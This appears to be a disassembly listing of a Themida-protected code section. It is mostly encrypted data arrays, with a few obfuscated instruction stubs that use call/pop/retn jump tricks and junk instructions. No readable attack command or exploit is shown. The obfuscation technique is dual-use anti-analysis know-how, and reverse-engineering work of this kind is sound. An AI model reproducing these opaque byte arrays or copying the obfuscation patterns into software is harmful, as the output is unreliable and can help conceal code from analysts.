		dd 0E594AD3Eh, 0C0A7E68Ch, 1E09A4BDh, 2343D05Fh, 0ABD2B624h
		dd 0CA13B79Ch, 9C1AFDA4h, 0F09D8E08h, 0E07D89F4h, 0EAAD3E0Eh
		dd 78A17A03h, 0E19C93C2h, 2AE7C0EFh, 0D0F7201h,	0C1000000h
		dd 3EEA0B37h, 0DD093DADh, 0A7FFFFFCh, 51396CC4h, 0B57C352Ch
		dd 0CCA3836h, 5BEAB354h, 372E0776h, 0DCA18D38h,	0D8660CC5h
		dd 0A729B1B6h, 0B430C432h, 6BECC9F3h, 19203h, 4637B500h
		dd 80AD3EDFh, 235A55E0h, 8EEFD6A1h, 0DED22B17h,	526AD3Eh
		dd 0DE791816h, 0EE1BAD3Eh, 3CB62E48h, 0DB40C68Fh, 7BB3D85Ch
		dd 16C2D5D0h, 45598948h, 0EE473630h, 41F84547h,	0E7DE6BF2h
		dd 644B3696h, 53B69019h, 0D5AD3EBBh, 5C4FC959h,	3EBB3362h
		dd 82B861ADh, 1D31A6Fh,	131DE72h, 86F00000h, 0C451DE9Fh
		dd 0E47BB3CAh, 0AD1F5E49h, 0DA59A820h, 0F43A432Bh, 0E74BF7F7h
		dd 0D86BB353h, 0D43B7F74h, 8CF1D785h, 5C155C15h, 68385945h
		dd 46B0A729h, 807532AEh, 43816BECh, 94000000h, 0DB6256E7h
		dd 670F6388h, 1D6CC469h, 0E20A300Eh, 0BBCAB353h, 56FFA6D7h
		dd 0F99C861Fh, 0EFA729DBh, 61224FFCh, 23AE90EFh, 5228512Ch
		dd 5354D064h, 0A36BEC9Ch, 99h, 742EC576h, 0D7398003h, 9F86319Fh
		dd 0CEC451DEh, 55E087AFh, 0EA871E5Fh, 0E4E37A03h, 18A79757h
		dd 3461E234h, 5FEE4439h, 79B31568h, 0AD3E742Bh,	0D9ABD2BDh
		dd 384541CCh, 0E8379102h, 0EC356B4Bh, 0C871B355h, 0C5B89A2Bh
		dd 2B5238C3h, 12E1BEE5h, 0F1950CFCh, 0AC8h, 0F5D7A687h
		dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h
		dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 2418B6E3h
		dd 1F6FE6A7h, 0F7D9A486h, 61381BAAh, 185E1766h,	99EB927Dh
		dd 0B099242Bh, 0B27B02E9h, 604702ABh, 0A5CD841Dh, 717EFFE6h
		dd 0E78FEEE4h, 433A35C0h, 468AF41h, 82210000h, 6346F78Eh
		dd 0DEBBDAD4h, 30D9AD3Eh, 81B96009h, 0CA69B810h, 599860ECh
		dd 0F6CD7CB3h, 9F8CDB55h, 25E3B28Ch, 88B1A724h,	7D4541B2h
		dd 99AD3947h, 0DAD28370h, 0EAD4CBA3h, 0AD2F46A7h, 45413241h
		dd 0AD2F4718h, 0B3081CB0h, 16518156h, 0BE74211Dh, 0F920AD2Fh
		dd 0E87CFA40h, 0F2D71B6Ch, 3C1DB71h, 0BD4E0000h, 23A33B0Eh
		dd 3D2F5A60h, 0CA702940h, 0B29924C8h, 531BD2CBh, 3EDEA8E9h
		dd 0DE99CBADh, 0C781AD3Eh, 8E687B78h, 0AD3EDECFh, 55D69CCDh
		dd 54038D59h, 9C80A9B3h, 0FC10F65Fh, 0C1B658D1h, 8E000009h
		dd 25F0E09Dh, 9580502Dh, 17E2E29Bh, 937E4E2Fh, 4DECDCA1h
		dd 0AECFC55Fh, 3F3E33DEh, 0AECFC24Dh, 413C33DEh, 0DCDAD74Fh
		dd 0A72417BDh, 241866DFh, 0AA940797h, 0B99AB9C4h, 87F6F0A7h
		dd 184541AEh, 84AD3E29h, 0F7EE9DD5h, 3890DF86h,	0E36C4AE9h
		dd 0CDB358E2h, 31384540h, 0E075B288h, 0EBDD94E9h, 9493E25Eh
		dd 0E67FFEE9h, 0F9EA072Fh, 9019644Ch, 0A0B391E9h, 3CAD3F89h
		dd 7A6F1E0Dh, 87948103h, 3E28EAA7h, 707FAAADh, 3E28C796h
		dd 0CEA4D5ADh, 3E2A4570h, 0F140FBADh, 1F5E5302h, 7805EB86h
		dd 49F148F1h, 0A8D5BA45h, 4797401h, 63B20E5Dh, 45A0EAC4h
		dd 95C4B353h, 107868BFh, 43E7A2FCh, 8FCh, 0A91B6253h, 3193EADEh
		dd 0AB1D6046h, 3799E4E0h, 0B517664Ch, 846680F6h, 3EC97F9h
		dd 8C7F0A7Ah, 0F9F49FF1h, 9F8C0484h, 2417F29Fh,	5BB3A2A7h
		dd 0E1D6CC4h, 59981B30h, 0A7AAB9B3h, 953F2871h,	821B6246h
		dd 5CCBA2CBh, 0C3C5B8B1h, 372E4F38h, 221160D8h,	0BB962671h
		dd 0AB831C0Ch, 0CCC7403Eh, 0CB9AD3Eh, 68351126h, 34AD3E69h
		dd 19062C05h, 9E1A79F0h, 42D3E04Fh, 9E2B324Bh, 0D49AD3AAh
		dd 536FDC6Ah, 0B51F8B3h, 0FC10A2BAh, 69B155CCh,	0E6000008h
		dd 6D187805h, 0ED98F885h, 7F0A7A03h, 0EB96F687h, 95147409h
		dd 96E7CD27h, 17664B36h, 96E7CAB5h, 19644B36h, 14F2DFB7h
		dd 0A7241645h, 86F05E57h, 0C8C7DE9Fh, 5228553Dh, 584B4C43h
		dd 95A4D90Ah, 1C55280Bh, 0C7C14C55h, 0D020AFB6h, 0A51EC7D8h
		dd 0ADD0BCD9h, 0C430BEB4h, 9B07AF90h, 9FF18C83h, 1ADF790h
		dd 0B591A272h, 0AD3E9DE8h, 0D691ECE2h, 0B0BBCBA3h, 6E000001h
		dd 0D94E9DFh, 4035AF7Eh, 4E2760AAh, 6CC4AA28h, 887F0E1Dh
		dd 0E90056F5h, 0EDFF7AAFh, 0C8CAA445h, 18B3535Ah, 5A6E2B0Bh
		dd 172EA729h, 9A534A33h, 97C29BD3h, 0FE72210Eh,	23D591E2h
		dd 395CEA90h, 0AFA72915h, 7237B33Fh, 866BEC2Dh,	15Fh, 0EDAC8A99h
		dd 0AFA7291Ch, 0A4770794h, 8CE51FF0h, 9F86E4E6h, 432AC7DEh
		dd 0B05D4A3Ah, 90EDE3B6h, 6119C0E9h, 6A89D870h,	53E7BE8Ch
		dd 7E45DEB3h, 0DE99133Eh, 0FF8E9DD4h, 0A3BE7409h, 294E96B7h
		dd 3D402CA7h, 0DCA18924h, 0D064D2C5h, 0B97179Ch, 0EC66FA8Fh
		dd 59FE6Bh, 0C4D00000h,	1D0E1D6Ch, 7A7CE56Eh, 3109EC8Ch
		dd 53612FD3h, 0A28A3BB3h, 630BC2DBh, 33E04FFAh,	0D3BD3226h
		dd 5D5E9DAAh, 7EF41A39h, 0E41FE9BBh, 6627138Eh,	82A72910h
		dd 770680F4h, 43ABE895h, 0AA344465h, 119699E1h,	0E56BEC80h
		dd 0A4h, 0E4B2B38h, 8EA72968h, 863593DBh, 2AC7DE9Fh, 0A12C3548h
		dd 43CED7A6h, 525F314Ch, 518C5CC1h, 16D0BC3Bh, 0C5D2ED9Dh
		dd 0B846EC45h, 0AD3E14D0h, 72522B22h, 0BC109625h, 0BEA3C79Fh
		dd 4E9D1B78h, 3CBFE5E1h, 4ADBB356h, 3E3F3267h, 9EC76E27h
		dd 24B13EF7h, 35E04F2Eh, 9BEB433Ah, 8D83FAF0h, 0FC12304Eh
		dd 8DA145BCh, 0C2000006h, 31DCACD1h, 0B9444439h, 33DEAECFh
		dd 0B742423Bh, 8928A8D5h, 6A13F913h, 37A6F1Ah, 6A13F681h
		dd 5786F1Ah, 201E0B83h,	0A7241471h, 86DC3223h, 0CF7D9A4h
		dd 0DE6C5C21h, 0C7DE9F86h, 0AD3A432Ah, 21592420h, 44DBADh
		dd 82F50000h, 1D6CC43Fh, 9815300Eh, 8ABFB359h, 9E5F635h
		dd 0A724254Ch, 36592148h, 0E02F8958h, 0DFDB7353h, 0D4C7AD3Eh
		dd 3EDEBBDAh, 2530D9ADh, 411E5429h, 4ADBB318h, 56000000h
		dd 0DF2C6945h, 0C168AD3Eh, 6CC41779h, 62300E1Dh, 0FEB3540Bh
		dd 89205D4Fh, 75DAF2EAh, 1861A9F6h, 4D540562h, 297D1F71h
		dd 0B52D59A7h, 210E5DDBh, 694E7925h
		dd 0D0AE25B9h, 0AD3F4E81h, 0F08D8213h, 0EEA0F049h, 9Fh
		dd 1D6CC4C4h, 9813300Eh, 0B4C1B359h, 866AC3BAh,	0A9F0DC69h
		dd 0BB73BAC3h, 2506E68Ch, 26193836h, 0CE7BA724h, 1A960EA8h
		dd 6BE7418Dh, 5869h, 6CC45B00h,	14300E1Dh, 0C0B35998h
		dd 86ECA399h, 229C08A6h, 0E5027B73h, 24254C09h,	592148A7h
		dd 0E741D1D6h, 2F256Bh,	0C4970000h, 300E1D6Ch, 0B3599815h
		dd 0BFBEA6BFh, 0A5CB8276h, 0FD79E9C3h, 6BE73DACh, 126B5EEFh
		dd 0F3A29C8Bh, 0A1A7242Dh, 0D579C178h, 17h, 0FAEB37E7h
		dd 295DAD3Eh, 0FFFFFF2Eh, 5EFBFBE8h, 3EAD3EC3h,	0C465630Bh
		dd 1D0E1D6Ch, 862776Eh,	73CFFFA2h, 0AD3E3626h, 0A386C376h
		dd 979794DAh, 0B358EF80h, 1F6CF524h, 28D552A1h,	0FAF73F3Eh
		dd 3F8812FCh, 0DE87B2ADh, 126B64F1h, 3F8CE28Bh,	8B53281h
		dd 1A175F1Eh, 58EF071Ch, 7774A5B3h, 299BE2C6h, 56D5249Ch
		dd 3F88F358h, 0CB6811ADh, 0A626573Ah, 64E0FE8Ch, 9CE1CC45h
		dd 12ECFF2Ch, 1518DC43h, 0B5E4E251h, 0E71518DCh, 1833FB32h
		dd 0FB826C2Dh, 64DC2B32h, 0DCA2EFCFh, 28201518h, 997B0A55h
		dd 5AFE8DE4h, 3B5BC562h, 45D05F16h, 0EEFB334Ah,	4110EEFDh
		dd 531517FCh, 2CF65026h, 341B2D01h, 0C5F99E89h,	0ABD42A75h
		dd 65C278C1h, 6806ADB4h, 1AD182FCh, 22FFEFCEh, 9A95C076h
		dd 0D3B944E3h, 0D3AA9FAAh, 69602B9Bh, 8008D14h,	91E89591h
		dd 80FDF3A2h, 5F0A30E9h, 7FC350BDh, 0E4607048h,	21704EDDh
		dd 730F0B56h, 6E0670C6h, 0BA0A7356h, 8A1DCCFh, 19060969h
		dd 1C13866Ch, 0E8914861h, 562E6B4Bh, 0BB6E0F0Bh, 5169F973h
		dd 7704235Ah, 8D82CAEFh, 93C079F0h, 47EF1378h, 70C4F947h
		dd 0DEBEDBDBh, 2BDEAD3Eh, 0D7CE5B02h, 0DF376660h, 0B465AD3Eh
		dd 5D49E47Dh, 2EC8920h,	0DF1C3935h, 0D178AD3Eh,	981E01A8h
		dd 0D462D80Ch, 0DF2E8660h, 522B22EDh, 9F422FDEh, 0A0879F13h
		dd 2307E6DDh, 3A57435Ah, 6EAD3EDFh, 5E20CE7Dh, 0DDD56AEFh
		dd 118B1795h, 79F08D84h, 0F7DB7AC0h, 987B0686h,	3CCFBCE5h
		dd 0F923C68Ch, 60DE94E5h, 0AD3E582Eh, 4961D143h, 810C1B62h
		dd 6E58F588h, 97DF960Fh, 4CF9EA37h, 6F2E1865h, 2DAD3E57h
		dd 0CEC836FCh, 68AD3E77h, 14FC1C9h, 0FF603572h,	0FBE8FFFFh
		dd 3E2F5EFBh, 0FD806CADh, 513FF722h, 0EEDE9F86h, 0EB512C23h
		dd 0BC403D28h, 2840B442h, 464B403Dh, 7201FB41h,	39B5h
		dd 6CC40700h, 5B7D0E1Dh, 0F6B0D01Dh, 0AE4052Dh,	0B358A100h
		dd 0D07F75A4h, 39C4EDA1h, 7D342D50h, 512BB7B5h,	0AB8BA8F7h
		dd 0AD3F4AA3h, 6C191643h, 4A3FF786h, 26A4h, 6CC40E00h
		dd 16300E1Dh, 0BEB35998h, 0DEE6A58Bh, 310B9717h, 1AAB4897h
		dd 9B524B32h, 0EE5856D3h, 16AD3EDFh, 86CE5C63h,	0C8C7DE9Fh
		dd 5228553Dh, 5F314C43h, 0E80756F2h, 37624AFBh,	5B022B52h
		dd 0C4827CB2h, 0F0B353E7h, 13462049h, 0D5A729D7h, 3B4227D6h
		dd 3D64190Eh, 64D0DE94h, 0ECEE9FE8h, 25576Bh, 0C4690000h
		dd 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h, 0F973FF6Fh
		dd 6218654Ch, 0ECF7BACFh, 0EC3E6Bh, 86900000h, 2AC7DE9Fh
		dd 6C5EEF48h, 0DE683511h, 534AD3Eh, 8736352Ch, 0F695DDA0h
		dd 72816E0Fh, 3EDEC594h, 0CCA2D7ADh, 304D38D5h,	2A25B0C3h
		dd 0DEAAE753h, 2E18AD3Eh, 0C49F564Fh, 6C11F895h, 70E8C2C6h
		dd 0E2AD3EE3h, 473292EBh, 1D0E1D60h, 3EDA7421h,	41F920ADh
		dd 206FC926h, 0DD033313h, 0A6D3B353h, 6B12FC89h, 550C3BF2h
		dd 6522AECh, 2693F33Bh,	0BFAC3B8Ah, 3E67160Eh, 3965DF97h
		dd 65AD40B3h, 4A2437B4h, 0AD3C630Bh, 999AE089h,	0A09306ECh
		dd 0E7C7C4DDh, 0AD3C62AAh, 3FF63FEAh, 0ADD0C24Dh, 7AE6267h
		dd 1A55CFAh, 1BCh, 0E9DBA293h, 71532A1Eh, 0EBDDA086h, 77592420h
		dd 0F5D7A68Ch, 0C4A64036h, 432CD7B9h, 0CCBF4A3Ah, 3934DFB1h
		dd 0DFCC4444h, 240FB2DFh, 1B73E2A7h, 0F7D9A486h, 9278210Ch
		dd 72BB72EBh, 6CC4A412h, 0A300E1Dh, 0CAB353E2h,	0FEA7D6BBh
		dd 9B871E57h, 0A729DBFAh, 9A0DDC8h, 64FD806Ch, 3B6F0373h
		dd 0AE2ABA34h, 6BECF7D9h, 0BE1Dh, 0CC831000h, 126B5F6Bh
		dd 73A82075h, 9F86CDBBh, 610DCAF8h, 0F53C88C1h,	92EBE16Ch
		dd 2F0F1C0Bh, 0AD3E7962h, 0B71BE85Eh, 6EB947DEh, 938973BBh
		dd 45AD3E6Fh, 26574F4Ah, 9B927D4Fh, 3BB645E2h, 0B9E1B427h
		dd 84E37EB4h, 704EDD2Ch, 0B352F7BEh, 0F38A7F16h, 43FD4A3Ah
		dd 0FCF7F7F4h, 98AD409Dh, 0E1D38271h, 6B612C9Ch, 9D933E12h
		dd 80F9FA07h, 0DBEEh, 0FE7F7400h, 6E0F038Eh, 7D731Eh, 74090590h
		dd 0FA836914h, 63BD2B8Ah, 0D1BC0C71h, 5823A5D8h, 0D1BC0C71h
		dd 6D25A7D6h, 0FD78680h, 0D0C5A724h, 0D9A48682h, 0BDB9AAF7h
		dd 0AD3EDEA0h, 823E4DFCh, 2A886D57h, 2D1833FBh,	86D28050h
		dd 0C451DE9Fh, 5ACB5C8h, 0B097322Dh, 1510FBCDh,	0B29D6868h
		dd 0C6D5D2CBh, 3EDEA9E8h, 725AEBADh, 320C620Bh,	0DC594266h
		dd 3B316860h, 0BB721B42h, 5D2007A2h, 5008D44h, 2C4AF178h
		dd 11403EB8h, 837E247Bh, 1D979FD6h, 0FB826D85h,	7EF9C89h
		dd 3FE198FCh, 0E0C786ACh, 7D69049Dh, 600F300h, 7E24B057h
		dd 435E1445h, 7A92228Ch, 0EF9AEA93h, 4ADC85F8h,	18h, 86372468h
		dd 325FDBA2h, 2EAD3EDFh, 3EDF0150h, 7DE693ADh, 8515A6CCh
		dd 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h
		dd 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 6C346804h
		dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 63D568h
		dd 241C8900h, 1E0C68h, 240C8900h, 1ABB9268h, 241C8B06h
		dd 8304C483h, 248904ECh, 24048124h, 4, 8B85059h, 1000000h
		dd 8B1889C8h, 0C4812404h, 4, 592434FFh,	0FF04C483h, 835B2434h
		dd 89E904C4h, 63FFFB77h, 795FE196h, 0EBF02A8Eh,	0D8B31B91h
		dd 1AD0EEB8h, 0FFC50306h, 1137A4E0h, 74AC0976h,	7F75C114h
		dd 71875B4Dh, 87422862h, 66F54474h, 23C14419h, 4EA52028h
		dd 79CB5229h, 78CC2346h, 0FBCB0970h, 0C8D8D12h,	89061AD2h
		dd 1511AD95h, 218D8906h, 9061527h, 1503CD85h, 0CD85C706h
		dd 98061504h, 100005Eh,	151D558Dh, 1585C706h, 61511h, 66000000h
		dd 0FF3A98BBh, 150009B5h, 2DB58906h, 0FF06150Ah, 1502C995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 6ABF724Bh, 0BD8B21AEh, 6152665h,	95FF006Ah
		db 21h,	2Eh, 15h
; ---------------------------------------------------------------------------


loc_5D6C3B:				; DATA XREF: Themida_:0057B784o
		push	es
		mov	eax, eax
		jmp	short loc_5D6C8D
; ---------------------------------------------------------------------------
		dd 0D7A1999Ch, 0CEC20178h, 4436A995h, 864683Ah,	171CB81Bh
		dd 52E3D057h, 4B18DED4h, 0B1F2947Fh, 4948A1B0h,	6C4F38E6h
		dd 0F6829602h, 697FB625h, 9B1FD67h, 75CE074h, 0FB0A879Ch
		dd 555F6D05h, 2A3DA358h, 29CB63CDh, 0BB5F5383h
		db 0B3h
; ---------------------------------------------------------------------------


loc_5D6C8D:				; CODE XREF: Themida_:005D6C3Ej
		lea	ecx, [ebp+61AD318h]
		push	0
		push	edx
		call	sub_5D6C9E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6C9E	proc near		; CODE XREF: Themida_:005D6C96p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5D6C9E	endp

; ---------------------------------------------------------------------------
		dw 0C1FBh
		dd 6E9D5h, 77110000h, 0FE9983CFh, 27218D89h, 0AFBB0615h
		dd 8B0D1E4Dh, 15224995h, 0CD85C706h, 18061504h,	60000073h
		dd 8698D8Bh, 85010615h,	6150289h, 1585C761h, 61511h, 8B000000h
		dd 15113195h, 39B5FF06h, 6A061523h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 2D68C352h
		dd 95FFC12Bh, 61502C9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 47C35747h, 37B60C89h,	95FF006Ah, 6152E21h
		dd 2BEBC08Bh, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 0DF6B3C38h
		dd 7AD49E51h, 5A1C0D7Fh, 90F8AE63h, 660FDA53h, 0BE682420h
		dd 8E3E84D9h, 8BDC27E1h, 850F53C0h, 16h, 11E9h,	9EAF5700h
		dd 0D9FD7FAAh, 3F373079h, 91BF3F0Bh, 835A6987h,	1508F5BDh
		dd 9750006h, 3ADBD83h, 74000615h, 8B535019h, 3FCB8C0h
		dd 85890000h, 6151385h,	0AA9E9D8Dh, 0D3FF0617h,	0BD83585Bh
		dd 61503ADh, 50177400h,	3FCB853h, 85890000h, 6151385h
		dd 0A78D9D8Dh, 0D3FF0617h, 0C6B2585Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 12C35747h, 3EA524BBh, 0C08B973Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h
		dd 0B70F227Ch, 0B5BD83D2h, 106152Dh, 87840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 4A5C35C3h, 8E0F70DAh, 2, 0BD83D78Bh,	61514F5h, 52850F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 652BC355h, 0FF0CE4BBh,	0BD83F509h
		dd 61509CDh, 92840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0CCA3C350h
		dd 0D3807C8Ch, 478E954h, 890F0000h, 17h, 12E9h,	0FDA90A00h
		dd 97D4D153h, 0D758598Ch, 4DE38159h, 30DC51h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0FCB2C357h, 7D6A2CFFh, 96771284h,	8DD28166h
		dd 56006A49h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 5EADFB32h, 0DE873621h, 3D34C761h, 54DAB8B4h
		dd 773277B4h, 0DE6C78EAh, 0D636F9C0h, 4E36CAF0h, 113277B4h
		dd 347C78E2h, 36236EB6h, 0DAE051BBh, 4F772E31h,	132D1B2h
		dd 5732DE5Ch, 946CCEB4h, 7346FEEAh, 73763AB0h, 5732C5B0h
		dd 9464A8B4h, 585D61B3h, 8E85B411h, 0E83D0D4Bh,	5202076Ch
		dd 575877B4h, 573153E3h, 812DDB4h, 2BBBB177h, 13B37390h
		dd 5724BF90h, 75DDB4h, 6FACE77h, 51DAA03Eh, 0F732BBB4h
		dd 76CCE64Fh, 0CCE6448h, 57329FE1h, 0D66FBBB4h,	4DE75259h
		dd 51B8E1B2h, 0D63277B4h, 529E46Fh, 55B9D280h, 0DD32EEB4h
		dd 2321D4Ah, 5732B85Ch,	946FFDB4h, 735E67E9h, 7376F6B0h
		dd 5732A3B0h, 946798B4h, 11188223h, 97B9826Dh, 0BF61BBDEh
		dd 5732DDB7h, 0CF1B594h, 53162B3Dh, 5316FF35h, 5732DDA2h
		dd 35F1BDF7h, 45DAEA3Ah, 9032BBB4h, 0A24D8AEh, 0C4DD7D18h
		dd 0CFDF6A14h, 0BA3EC696h, 710A6705h, 0C7688046h, 5732645Dh
		dd 0D44180B4h, 6A9F5569h, 1FCE1B70h, 455F816Eh,	0DEEC852h
		dd 8FB9BDE4h, 57587ED5h, 57319FE7h, 0C12BBB4h, 0BBB8677h
		dd 13B3EA90h, 57267390h, 471BBB4h, 0D654D077h, 5848AE57h
		dd 0A9163BB5h, 0FE004BBh, 0BF64DDDEh, 5732EEB7h, 9F12994h
		dd 5316CF3Dh, 53169935h, 5732EEA2h, 0D4F121F2h,	5B37ED20h
		dd 3D32DDB6h, 54DABDB4h, 773277B4h, 0DE6978EFh,	0D636F9E8h
		dd 4E36CAF0h, 143277B4h, 0AFD378E7h, 0A4166479h, 31571934h
		dd 5FB9A03Fh, 0BF62BBDEh, 5732DDB7h, 0FF1B694h,	5316333Dh
		dd 5316FF35h, 5732DDA2h, 0C6F1BEF4h, 58520B96h,	5732B03Bh
		dd 573735B4h, 50B6EEB4h, 0FDC4880h, 3653DBD4h, 1FB9BBD5h
		dd 5BBAE148h, 583277B4h, 5732BD3Eh, 57B7D2B4h, 5832EEB4h
		dd 5732743Ch, 0F5DC3BB4h, 5732DC0Ch, 13284B4h, 5732745Ch
		dd 946C9BB4h, 734654EAh, 73766FB0h, 57326AB0h, 9464FDB4h
		dd 1A5C6A36h, 0F985AC1Ah, 3152C750h, 3D9D4A35h,	0ED53233Fh
		dd 7BE7286Eh, 376027E4h, 573230BBh, 46DADDB4h, 0D232EEB4h
		dd 7332A53Dh, 9D1CC9FCh, 53C66126h, 0CA94E30Dh,	663D16EDh
		dd 1789DDE7h, 0F68866Eh, 3116E23Dh, 3141D40Eh, 57586238h
		dd 573135E5h, 0E12EEB4h, 1BBB2E77h, 13B3BF90h, 5726D990h
		dd 673EEB4h, 0E83D5477h, 53F34D6Fh, 561C58BBh, 5758EEB4h
		dd 57319FE1h, 0A12BBB4h, 3BBB8077h, 13B3EA90h, 57257390h
		dd 277BBB4h, 0F22FB577h, 573407A9h, 6B9A77B4h, 4B68FC4Fh
		dd 32B7EDh, 5732ED5Ch, 946D57B4h, 734E32EBh, 73765CB0h
		dd 5732FAB0h, 946530B4h, 0BDB34E54h, 50AA48F3h,	585AD734h
		dd 57336631h, 132D1B4h,	5732DE5Ch, 946CCEB4h, 7346FEEAh
		dd 73763AB0h, 5732C8B0h, 9464A8B4h, 0D6549439h,	0DD7E9D66h
		dd 564B566Ch, 0B3D16FD2h, 57CDF692h, 58B2BBB4h,	57320436h
		dd 63284B4h, 5732745Ch,	946B9BB4h, 737E54EDh, 73766FB0h
		dd 57326FB0h, 9463FAB4h, 7E5945Fh, 0BBEE5584h, 0B4B20C18h
		dd 0E7B77CE5h, 5634C760h, 3D32EEB4h, 54DA27B4h,	7732BBB4h
		dd 0DE6A1EECh, 0D636CAF0h, 413653F0h, 1732BBB4h, 8B771EE4h
		dd 57220750h, 0C9BD77B4h, 0E564703Eh, 0D0E51BD7h, 90BAB9ABh
		dd 0DCDBCD3Bh, 3D32BBB4h, 54DA8FB4h, 7732EEB4h,	0DE68B4EEh
		dd 0D6369FE0h, 4236F9F0h, 1532EEB4h, 8943B4E6h,	8D5800Eh
		dd 577A34F3h, 0D33DEEB4h, 573277B1h, 0CD4A530Eh, 2BF95DA2h
		dd 0A5F96FEDh, 3174A33Eh, 0A839C237h, 571A59BBh, 0B284EEB4h
		dd 8382F273h, 5733BDAEh, 5758DDB4h, 573106E1h, 0A1277B4h
		dd 3BBBE677h, 13B3D990h, 5726EA90h, 27777B4h, 47A7E77h
		dd 5732D65Ch, 97EC62B4h, 0B3856F5Eh, 610A7CDFh,	31EFB20Eh
		dd 0D769B5AFh, 198B187Fh, 0DA74BBB7h, 4DE80731h, 708F63B2h
		dd 6C346D6Dh, 6735CF4Ch, 10FB0CBBh, 0DE3D1B5Fh,	573277B2h
		dd 20897835h, 3160FAEBh, 0EE792C35h, 0E28FF4EFh, 5634AE99h
		dd 576559BBh, 50DBEEB4h, 443277B4h, 0EB44C203h,	51DBF1CCh
		dd 8E32EEB4h, 8D4B24B1h, 0A28F38F9h, 5734C8A0h,	57016BBBh
		dd 50DB77B4h, 1F32BBB4h, 58736974h, 0EAB18E53h,	51277E79h
		dd 63B6B4B4h, 0BF32DDB4h, 5732EEA5h, 0C4A83322h, 84685709h
		dd 1FB916A1h, 1F799DB7h, 71E4F7F7h, 57DA52EFh, 89B9DDB4h
		dd 573F60BBh, 0E95277B4h, 765519D3h, 10FD1F35h,	0D4538121h
		dd 421FC209h, 0D23DBAB2h, 5732DDD7h, 0BF67EEDEh, 573277B7h
		dd 0AF1E694h, 5316B13Dh, 5316AA35h, 573277A2h, 0DBF1EEF1h
		dd 3D6F1852h, 54DABFB4h, 773277B4h, 0DE6B78EDh,	0D636F9F8h
		dd 4336CAF0h, 163277B4h, 0DCC078E5h, 89B91E64h,	57326F5Dh
		dd 4321DB4h, 5732B85Ch,	9469FDB4h, 736E67EFh, 7376F6B0h
		dd 5732ADB0h, 94619EB4h, 0AD6303Ch, 0BF6077DEh,	5732BBB7h
		dd 0DF18794h, 5316BA3Dh, 53163335h, 5732BBA9h, 0EAF18FF6h
		dd 999DA902h, 0E14545ECh, 3762E8ADh, 56986D5h, 5732E15Ch
		dd 7E9268B4h, 8F5A55EEh, 5BC8CDBh, 40B8BCA5h, 0C680D07h
		dd 5720537Bh, 2640DDB4h, 0A365759Bh, 42209505h,	6CBE82E0h
		dd 5611170Dh, 0DEC51BBh, 0EABF8D3Eh, 51286F4Ah,	8D955039h
		dd 4A8AE8AEh, 64494DE8h, 42257631h, 96FDF6B2h, 0B7198B5Dh
		dd 31DA74BBh, 0B24DE807h, 6D708F63h, 4C6C346Dh,	0BB6735CFh
		dd 0E983FB0Ch, 83A4F305h, 1AD4B0BDh, 0D740006h,	4F9E8D8Dh
		dd 1B80615h, 0FF000000h, 6A40E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0B81825C3h, 0EE06FCBBh
		dd 57006A1Bh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0F9EA435h, 0C8Ah, 68F0F00h, 81000000h, 0E402C6CAh
		dd 2DE8836Eh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	57C35141h, 4FFEA14Eh, 914C6852h, 0D0BF0F76h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 58632CC3h, 702CAD31h, 0EBE38166h, 0DE9535Dh,	0BC000000h
		dd 0ED109B9Ah, 0D5D89E2Dh, 3EC741BCh, 0F5BD835Ah, 61508h
		dd 0BD830975h, 61503ADh, 50197400h, 0B8C08B53h,	3FCh, 2A18589h
		dd 9D8D0615h, 617AB05h,	585BD3FFh, 3ADBD83h, 74000615h
		dd 0B8535017h, 3FCh, 2A18589h, 9D8D0615h, 617A7A6h, 585BD3FFh
		dd 6ADF8B66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B2DC356h, 7A8D8DC0h, 0E9061ADCh
		dd 0Bh,	0F022BD61h, 5A8D3A53h, 89A8484Ah, 1527218Dh, 0EC38006h
		dd 4CD85C7h, 6B400615h,	0B8660000h, 85C787E6h, 6151115h
		dd 0
; ---------------------------------------------------------------------------
		pusha
		cmc
		mov	ebx, 6A45E9DFh
		popa
		push	dword ptr [ebp+61523E1h]
		mov	eax, [ebp+6150A69h]
		call	dword ptr [ebp+61502C9h]
		push	0
		push	edi
		call	sub_5D768D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D768D	proc near		; CODE XREF: Themida_:005D7685p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5D768D	endp

; ---------------------------------------------------------------------------
